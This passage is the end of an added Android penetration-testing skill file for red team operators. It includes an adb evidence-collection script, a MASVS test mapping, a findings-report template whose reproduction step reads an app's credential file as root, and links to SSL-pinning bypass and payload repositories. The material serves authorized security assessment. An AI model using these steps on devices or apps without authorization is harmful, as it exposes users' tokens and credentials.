+
1185
+ # If app crashes immediately, try attach instead of spawn
1186
+ # Start app manually, then:
1187
+ frida -U -n com.target.app -l script.js
1188
+ ```
1189
+
1190
+ ---
1191
+
1192
+ ## 10. Output and Documentation
1193
+
1194
+ ### Evidence Collection Template
1195
+
1196
+ ```bash
1197
+ #!/bin/bash
1198
+ # Run at start of engagement to collect baseline evidence
1199
+ TARGET="com.target.app"
1200
+ OUTPUT_DIR="./evidence_$(date +%Y%m%d_%H%M%S)"
1201
+ mkdir -p "$OUTPUT_DIR"
1202
+
1203
+ # App info
1204
+ adb shell dumpsys package "$TARGET" > "$OUTPUT_DIR/package_info.txt"
1205
+ adb shell pm path "$TARGET" > "$OUTPUT_DIR/apk_path.txt"
1206
+
1207
+ # Pull APK
1208
+ APK_PATH=$(adb shell pm path "$TARGET" | sed 's/package://')
1209
+ adb pull "$APK_PATH" "$OUTPUT_DIR/target.apk"
1210
+
1211
+ # Screenshots before/after exploits
1212
+ adb shell screencap /sdcard/before.png && adb pull /sdcard/before.png "$OUTPUT_DIR/"
1213
+
1214
+ # Logcat capture (run in background during testing)
1215
+ adb logcat -v time > "$OUTPUT_DIR/logcat.txt" &
1216
+ LOGCAT_PID=$!
1217
+
1218
+ # Network capture placeholder (use tcpdump on device or Burp export)
1219
+
1220
+ # Cleanup
1221
+ kill $LOGCAT_PID
1222
+ echo "Evidence collected in: $OUTPUT_DIR"
1223
+ ```
1224
+
1225
+ ### MASVS Checklist Mapping
1226
+
1227
+ | MASVS ID | Control | Test Method |
1228
+ |---|---|---|
1229
+ | MASVS-STORAGE-1 | No sensitive data in local storage | SQLite/SharedPrefs extraction, file dump |
1230
+ | MASVS-STORAGE-2 | No sensitive data in cloud storage | Network traffic analysis |
1231
+ | MASVS-CRYPTO-1 | Strong cryptography | Grep for weak algos (MD5, DES, ECB) |
1232
+ | MASVS-AUTH-1 | Authentication at remote endpoint | Intercept with Burp, test token replay |
1233
+ | MASVS-NETWORK-1 | TLS for all network communication | Proxy inspection, cleartext traffic check |
1234
+ | MASVS-NETWORK-2 | TLS settings meet best practices | SSL Labs scan of endpoints |
1235
+ | MASVS-PLATFORM-1 | WebView restricted appropriately | jadx grep for addJavascriptInterface |
1236
+ | MASVS-PLATFORM-2 | Exported component validation | Drozer component enumeration |
1237
+ | MASVS-CODE-1 | No debug code in release | BuildConfig.DEBUG grep, apktool manifest |
1238
+ | MASVS-CODE-2 | Security provider updated | API level check, provider version |
1239
+ | MASVS-RESILIENCE-1 | Root detection present | Rooted device functional test |
1240
+ | MASVS-RESILIENCE-3 | Anti-debugging present | Frida attach test |
1241
+
1242
+ ### Findings Report Template
1243
+
1244
+ ```
1245
+ Finding: [SEVERITY] - [TITLE]
1246
+ MASVS Reference: MASVS-STORAGE-1
1247
+ CVSS Score: 7.5 (High)
1248
+ CWE: CWE-312 - Cleartext Storage of Sensitive Information
1249
+
1250
+ Description:
1251
+ The application stores [authentication tokens / credentials / PII] in plaintext
1252
+ within [SharedPreferences / SQLite database / external storage] at path:
1253
+ /data/data/com.target.app/[path]
1254
+
1255
+ Steps to Reproduce:
1256
+ 1. Root Android device
1257
+ 2. adb shell su -c "cat /data/data/com.target.app/shared_prefs/prefs.xml"
1258
+ 3. Observe plaintext [token/password] in output
1259
+
1260
+ Evidence:
1261
+ [Attach screenshot/logcat output showing sensitive data]
1262
+
1263
+ Impact:
1264
+ An attacker with physical access to the device (or malware with root privileges)
1265
+ can extract [credential/token] and use it to authenticate as the victim.
1266
+
1267
+ Recommendation:
1268
+ - Use Android Keystore for cryptographic key storage
1269
+ - Store sensitive data encrypted using AES-256-GCM with Keystore-backed keys
1270
+ - Avoid storing long-lived tokens locally; use short-lived tokens with refresh
1271
+ ```
1272
+
1273
+ ---
1274
+
1275
+ ## 11. Resources with GitHub URLs
1276
+
1277
+ ### Primary Tool Repositories
1278
+
1279
+ - **Frida:** https://github.com/frida/frida
1280
+ - **Objection:** https://github.com/sensepost/objection
1281
+ - **apktool:** https://github.com/iBotPeaches/Apktool
1282
+ - **jadx:** https://github.com/skylot/jadx
1283
+ - **Drozer:** https://github.com/WithSecureLabs/drozer
1284
+ - **MobSF:** https://github.com/MobSF/Mobile-Security-Framework-MobSF
1285
+ - **apkeep:** https://github.com/EFForg/apkeep
1286
+
1287
+ ### Frida Script Collections
1288
+
1289
+ - **Frida CodeShare:** https://codeshare.frida.re/ (community hooks)
1290
+ - **Universal SSL Bypass (by pcipolloni):** https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/
1291
+ - **fridump:** https://github.com/Nightbringer21/fridump (memory dumper)
1292
+ - **Frida Android Scripts collection:** https://github.com/interference-security/frida-scripts
1293
+
1294
+ ### Bypass Scripts and Techniques
1295
+
1296
+ - **objection SSL pinning bypass:** https://github.com/sensepost/objection/blob/master/objection/console/helpfiles/android.sslpinning.disable.txt
1297
+ - **apk-mitm (automatic SSL bypass patcher):** https://github.com/shroudedcode/apk-mitm
1298
+ - **TrustMeAlready (Xposed module):** https://github.com/ViRb3/TrustMeAlready
1299
+ - **SSLUnpinning (Xposed module):** https://github.com/ac-pm/SSLUnpinning_Xposed
1300
+
1301
+ ### Analysis Frameworks
1302
+
1303
+ - **r2frida (radare2 + frida):** https://github.com/nowsecure/r2frida
1304
+ - **QARK (static analysis):** https://github.com/linkedin/qark
1305
+ - **AndroBugs:** https://github.com/AndroBugs/AndroBugs_Framework
1306
+ - **apkleaks (secret finder):** https://github.com/dwisiswant0/apkleaks
1307
+ - **truffleHog (secret scanner):** https://github.com/trufflesecurity/trufflehog
1308
+
1309
+ ### OWASP References
1310
+
1311
+ - **OWASP MASVS:** https://github.com/OWASP/owasp-masvs
1312
+ - **OWASP MSTG (Testing Guide):** https://github.com/OWASP/owasp-mstg
1313
+ - **OWASP Mobile Top 10:** https://owasp.org/www-project-mobile-top-10/
1314
+
1315
+ ### Learning and Reference
1316
+
1317
+ - **Android Security Awesome list:** https://github.com/ashishb/android-security-awesome
1318
+ - **Android Hacking Cheatsheet:** https://github.com/randorisec/MobileHackingCheatSheet
1319
+ - **Maddie Stone's Android Reversing:** https://github.com/maddiestone/AndroidAppRE
1320
+ - **Frida Handbook:** https://learnfrida.info/
1321
+
1322
+ ### Wordlists and Payloads
1323
+
1324
+ - **Android-specific payloads:** https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Android
1325
+ - **SecLists Mobile section:** https://github.com/danielmiessler/SecLists
1326
+
1327
+ ---
1328
+
1329
+ *Skill maintained for Red Team operators. All techniques assume proper written authorization from the target organization. Use only in scoped engagements.*